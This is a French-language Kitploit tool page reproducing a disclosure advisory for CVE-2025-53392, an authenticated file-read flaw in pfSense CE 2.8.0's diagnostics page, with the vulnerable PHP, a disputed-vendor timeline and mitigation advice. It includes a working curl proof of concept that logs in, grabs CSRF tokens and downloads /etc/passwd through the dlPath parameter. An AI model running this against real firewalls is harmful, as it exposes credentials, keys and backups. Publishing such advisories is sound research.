Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
pfsense-security-research — Lecture arbitraire de fichiers authentifiée dans pfSense 2.8.0 via l'interface web Diagnostics (CVE-2025-53392) | Kitploit
Outils/GitHubGitHub/skraft9/pfsense-security-research
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionRed Teaming
GitHubskraft9/pfsense-security-research

pfsense-security-research

Lecture arbitraire de fichiers authentifiée dans pfSense 2.8.0 via l'interface web Diagnostics (CVE-2025-53392)

Voir le dépôt
1419il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Lecture arbitraire de fichiers authentifiée dans pfSense 2.8.0 via l'interface Web Diagnostics

ID CVE : CVE-2025-53392

Date : 2025-06-27

Auteur : Seth Kraft

Page d'accueil du fournisseur : https://www.netgate.com/

Journal des modifications du fournisseur : https://docs.netgate.com/pfsense/en/latest/releases/

Lien du logiciel : https://www.pfsense.org/download/

Version : pfSense CE 2.8.0

ID CWE : CWE-36 (Traversée de chemin absolu)

Score de base CVSS : 6.5 (Moyen)

Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Type : Lecture arbitraire de fichiers authentifiée / Divulgation de fichiers locaux


Autorisation

Uniquement à des fins de test et de recherche autorisés. Ne testez ni n'exploitez cette vulnérabilité sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester.


Résumé

pfSense CE 2.8.0 contient une vulnérabilité de divulgation de fichiers locaux dans la page de diagnostic diag_command.php, qui permet aux utilisateurs authentifiés de télécharger des fichiers arbitraires depuis le système de fichiers sous-jacent.

Cette fonctionnalité ne comporte aucune normalisation des chemins, aucune restriction de répertoire ni aucun contrôle d'accès au-delà de l'attribution des permissions.


Détails

La logique vulnérable se trouve dans le fichier src/usr/local/www/diag_command.php :

if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
    session_cache_limiter('public');
    send_user_download('file', $_POST['dlPath']);
}

Aucun contrôle de sécurité ni mesure de normalisation n'est appliqué au paramètre dlPath contrôlé par l'utilisateur.

Tout chemin de fichier que le processus PHP peut lire sera renvoyé à l'utilisateur.


Preuve de concept

Créez le groupe low-priv et attribuez un seul privilège (WebCfg - Diagnostics: Command) Screenshot 2025-06-27 133201

Bien que je reconnaisse la présence d'un avertissement de sécurité pour le privilège WebCfg - Diagnostics: Command, les avertissements seuls ne remplacent pas un contrôle d'accès solide.

L'expression « Autoriser l'accès à la page de commande Diagnostics » est ambiguë et minimise le risque, elle permet une exécution de commandes au niveau root sans restriction, et pas seulement un accès aux diagnostics.

Les libellés de privilèges dans une interface Web doivent refléter avec précision la portée et la gravité des actions qu'ils autorisent, en particulier lorsqu'ils exposent un contrôle administratif complet.

Attribuez le groupe low-priv à l'utilisateur dev Screenshot 2025-06-27 133218

Cette preuve de concept démontre qu'un utilisateur ne disposant que de la permission WebCfg - Diagnostics: Command peut exfiltrer /etc/passwd en abusant du paramètre dlPath non normalisé.

# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
  -d "__csrf_magic=$csrf_token" \
  -d "usernamefld=dev" \
  -d "passwordfld=pass" \
  -d "login=Sign+In" \
  https://<IP>/index.php > /dev/null

# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')

# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
  -d "__csrf_magic=$csrf_token" \
  -d "submit=DOWNLOAD" \
  -d "dlPath=/etc/passwd"

Démonstration

pfSense-authenticated-file-disclosure-poc


Impact

Tout utilisateur pfSense disposant du privilège WebCfg - Diagnostics: Command peut :

  • Lire les fichiers système locaux sensibles
  • Extraire des sauvegardes, des identifiants et des clés
  • Accéder à des fichiers bien au-delà de ses permissions prévues

Cela viole le principe du moindre privilège et brise les frontières logiques des privilèges.


Atténuation suggérée

  1. Restreindre dlPath à un répertoire de base sûr (par exemple /tmp) en utilisant realpath() et le contrôle du préfixe
  2. Supprimer ou bloquer les chemins contenant .. ou les chemins absolus
  3. Autoriser uniquement le téléchargement de fichiers figurant dans une liste blanche ou dans un répertoire temporaire d'artefacts

Chronologie de la divulgation

  • 2025-06-26 : Vulnérabilité signalée à Netgate
  • 2025-06-27 : Netgate a répondu en rejetant le problème comme un comportement voulu
  • 2025-06-27 : Le chercheur a répondu par une réfutation technique, le fournisseur a réitéré son rejet
  • 2025-06-27 : Le chercheur a initié la divulgation publique en raison du rejet final du fournisseur et a demandé l'attribution d'un CVE à MITRE
  • 2025-06-28 : MITRE a attribué CVE-2025-53392 avec l'étiquette « contesté par le fournisseur »

Réponse de Netgate

Bien que le fournisseur affirme que l'accès à cette page équivaut à un accès root, cela confond les permissions au niveau Web avec un accès back-end sans restriction.

Le privilège doit être techniquement appliqué (et non supposé), et les avertissements dans l'interface ne remplacent pas une conception sécurisée.


Contestant l'affirmation du fournisseur selon laquelle cette fonctionnalité est « bien documentée » - je n'ai trouvé aucune mention dans la documentation des privilèges utilisateur de pfSense indiquant que la permission WebCfg - Diagnostics: Command équivaut à un accès au niveau root. Screenshot 2025-06-28 235613


Le fournisseur faisait peut-être référence à la page de commande Diagnostics, qui comprend un avertissement général concernant une mauvaise utilisation.

Mais la documentation ne relie pas explicitement cette fonctionnalité au privilège WebCfg - Diagnostics: Command et ne précise pas qu'elle accorde un accès au niveau root.


Attentes de sécurité pour les interfaces de diagnostic

Le module de diagnostic de l'interface Web d'un pare-feu devrait contenir des garde-fous appropriés pour empêcher toute utilisation abusive du système d'exploitation sous-jacent.

  • Les commandes de diagnostic devraient être fonctionnellement limitées à ping, traceroute, la consultation des journaux, etc.
  • Les commandes devraient s'exécuter dans un shell restreint ou un chroot.
  • L'accès aux fichiers devrait être explicitement limité à des répertoires sûrs (/tmp, /var/log).
  • Les permissions devraient être granulaires et claires dans leur portée.

Avertissement

Ce travail a été réalisé en dehors de mon emploi et reflète mes efforts personnels en recherche en cybersécurité.


Télécharger l’outil